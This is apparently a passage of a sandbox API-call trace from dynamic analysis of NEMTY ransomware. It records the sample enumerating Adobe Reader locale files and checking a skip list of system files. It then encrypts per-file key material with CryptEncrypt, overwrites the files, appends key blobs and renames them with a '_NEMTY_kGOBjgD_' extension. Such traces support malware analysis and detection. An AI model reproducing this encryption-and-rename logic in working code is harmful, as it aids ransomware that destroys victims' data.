[0185.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.922] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\IA32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ia32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\IA32.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ia32.chs._nemty_kgobjgd_")) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.923] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.CHS", cAlternateFileName="MAKEAC~1.CHS")) returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2=".") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="..") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="...") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="windows") returned -1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="rsa") returned -1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="NTDETECT.COM") returned -1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="ntldr") returned -1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="MSDOS.SYS") returned -1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="IO.SYS") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="boot.ini") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="boot.ini") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="ntuser.dat") returned -1 [0185.923] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="desktop.ini") returned 1 [0185.924] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="CONFIG.SYS") returned 1 [0185.924] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="RECYCLER") returned -1 [0185.924] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.924] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="bootmgr") returned 1 [0185.924] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="programdata") returned -1 [0185.924] lstrcmpiW (lpString1="makeaccessible.CHS", lpString2="appdata") returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHS", lpUsedDefaultChar=0x0) returned 18 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHS", lpUsedDefaultChar=0x0) returned 18 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHS", lpUsedDefaultChar=0x0) returned 18 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.CHS", lpUsedDefaultChar=0x0) returned 18 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.924] Sleep (dwMilliseconds=0x5) [0185.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2278e950, dwHighDateTime=0x1d561e8)) [0185.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2278e950, dwHighDateTime=0x1d561e8)) [0185.934] GetLastError () returned 0x0 [0185.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.934] GetLastError () returned 0x0 [0185.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.935] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.935] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="sbQThbfQUqWQq+m/d8slnr7+4s3E1w/GBe4zxuUgs2A1pNmo/t5OATplZ/7NSt+I\r\nbbpPDvT4u9DcCAsRLLqJckAZGyHILKgCEuCCkVqe1VLfNooyAnU6XvKE7fD7Mfih\r\n5aX9dIfwjjOcDVzi0WZ9SATyvt+VenAx/JvU4vZU9x4ZA3F8IM63waNuTPwkQ0n6\r\nOCNQle+0CW6eA7hrH+sMA+kkCv2d2TAeMJzz8+rcWguGFO3+m0xsOaIB5ie9V0Um\r\nJSWnxuFgEGynQugZCHOk2i92UZzS86PIIwVPhDEOwuRQamUsdwxorLOItj7w/TW8\r\nXQKD2MBOugYiLnzsA/guSw==\r\n", pcchString=0x653e5dc) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\makeaccessible.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\makeaccessible.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.935] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=37888) returned 1 [0185.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9400) returned 0x6352c48 [0185.935] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.935] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9400, lpOverlapped=0x0) returned 1 [0185.939] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.939] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9400, lpOverlapped=0x0) returned 1 [0185.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.939] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400 [0185.939] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.940] CloseHandle (hObject=0x2e8) returned 1 [0185.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0185.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0185.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.940] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\makeaccessible.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\makeaccessible.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\makeaccessible.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\makeaccessible.chs._nemty_kgobjgd_")) returned 1 [0185.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0185.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.941] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.CHS", cAlternateFileName="MULTIM~1.CHS")) returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2=".") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="..") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="...") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="windows") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="rsa") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="NTDETECT.COM") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="ntldr") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="MSDOS.SYS") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="IO.SYS") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="boot.ini") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="boot.ini") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="ntuser.dat") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="desktop.ini") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="CONFIG.SYS") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="RECYCLER") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="bootmgr") returned 1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="programdata") returned -1 [0185.941] lstrcmpiW (lpString1="Multimedia.CHS", lpString2="appdata") returned 1 [0185.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHS", lpUsedDefaultChar=0x0) returned 14 [0185.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHS", lpUsedDefaultChar=0x0) returned 14 [0185.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHS", lpUsedDefaultChar=0x0) returned 14 [0185.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHS", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHS", lpUsedDefaultChar=0x0) returned 14 [0185.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.942] Sleep (dwMilliseconds=0x5) [0185.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x227b4ab0, dwHighDateTime=0x1d561e8)) [0185.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x227b4ab0, dwHighDateTime=0x1d561e8)) [0185.950] GetLastError () returned 0x0 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.950] GetLastError () returned 0x0 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.950] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.950] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.950] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="L0tZsOvzriqrBvBKwH//NyWs8hCPsOYbWbNXLaX8kDri+qIYsFY+KYYGvJeuxSt6\r\nwJ0Ym0tD9bjdqUZMxuOWQKv9/lTc3UTsd/QLma+Wy/dixUQSAd6XXtfpkRwxSnYz\r\neRd0nynTv63UvwWokkzhWrtAicOUTpqKxN/jBpu4inZ4vCGa8KarUeIZJEydy0iF\r\n7pxs/k7km62yOLCKMYaf9ftj0ngzHRPgobT0xRAnQAtmOB+ubTlPnalWX8P4e7uh\r\n900BbGLOh59z+IPOWISTPn1Cw6QH3pPdg+WBy/YZi+rUZvDd4h1sN+iXQUp8Ozmg\r\nAUoEaRgDrwTsIluBxQFBQw==\r\n", pcchString=0x653e5dc) returned 1 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Multimedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\multimedia.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.951] 